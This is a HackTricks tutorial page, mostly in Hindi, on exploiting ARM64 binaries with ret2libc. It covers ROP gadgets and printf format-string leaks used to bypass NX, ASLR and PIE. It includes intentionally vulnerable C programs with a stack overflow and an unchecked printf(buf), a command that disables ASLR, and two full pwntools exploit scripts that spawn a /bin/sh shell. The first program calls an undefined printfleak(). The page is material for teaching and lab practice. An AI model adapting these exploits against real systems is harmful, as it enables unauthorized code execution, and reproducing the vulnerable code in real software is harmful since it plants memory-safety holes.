Ret2lib + Printf leak - ARM64
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Ret2lib - NX bypass ROP के साथ (कोई ASLR नहीं)
#include <stdio.h>
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
canary के बिना कंपाइल करें:
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Find offset - x30 offset
pattern create 200 के साथ एक pattern बनाकर, उसे उपयोग करके और pattern search $x30 से ऑफ़सेट जांचने पर हम देख सकते हैं कि ऑफ़सेट 108 (0x6c) है।
.png)
डिसअसेंबल्ड main फ़ंक्शन को देखने पर हम पाते हैं कि हमें उस इंस्ट्रक्शन पर सीधे jump करना होगा जो सीधे printf को कॉल करता है, और उस इंस्ट्रक्शन का बाइनरी के लोड होने वाले स्थान से ऑफ़सेट 0x860 है:
.png)
Find system and /bin/sh string
चूँकि ASLR अक्षम है, पते हमेशा एक जैसे रहेंगे:
.png)
Find Gadgets
हमें x0 में string /bin/sh का address रखना होगा और system को कॉल करना होगा।
rooper का उपयोग करने पर एक रोचक gadget मिला:
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
यह gadget x0 को $sp + 0x18 से लोड करेगा और फिर sp से x29 और x30 के addresses लोड करेगा और x30 पर jump करेगा। इसलिए इस gadget के साथ हम पहला argument नियंत्रित कर सकते हैं और फिर system पर jump कर सकते हैं।
Exploit
from pwn import *
from time import sleep
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
p.close()
Ret2lib - NX, ASL & PIE bypass printf leaks के जरिए स्टैक से
#include <stdio.h>
void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
कम्पाइल बिना canary:
clang -o rop rop.c -fno-stack-protector -Wno-format-security
PIE और ASLR पर लेकिन कोई canary नहीं
- Round 1:
- stack से PIE का Leak
- bof का दुरुपयोग करके main पर वापस जाना
- Round 2:
- stack से libc का Leak
- ROP: ret2system
Printf leaks
printf को कॉल करने से पहले breakpoint सेट करने पर, यह देखा जा सकता है कि stack में binary पर वापस लौटने के लिए addresses हैं और साथ ही libc addresses भी:
.png)
विभिन्न offsets आज़माने पर, the %21$p binary address (PIE bypass) को leak कर सकता है और %25$p libc address को leak कर सकता है:
.png)
libc leaked address से libc के base address को घटाने पर, यह देखा जा सकता है कि base से leaked address का offset 0x49c40 है।
x30 offset
पिछले उदाहरण को देखें क्योंकि bof वही है।
Find Gadgets
पिछले उदाहरण की तरह, हमें x0 में string /bin/sh का address चाहिए और system को कॉल करना होगा।
Using rooper another interesting gadget was found:
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
यह gadget x0 को $sp + 0x78 से लोड करेगा और फिर sp से x29 और x30 के addresses लोड करके x30 पर jump करेगा। इसलिए इस gadget के साथ हम पहले argument को नियंत्रित कर सकते हैं और फिर system पर jump कर सकते हैं।
Exploit
from pwn import *
from time import sleep
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")
# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)
# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


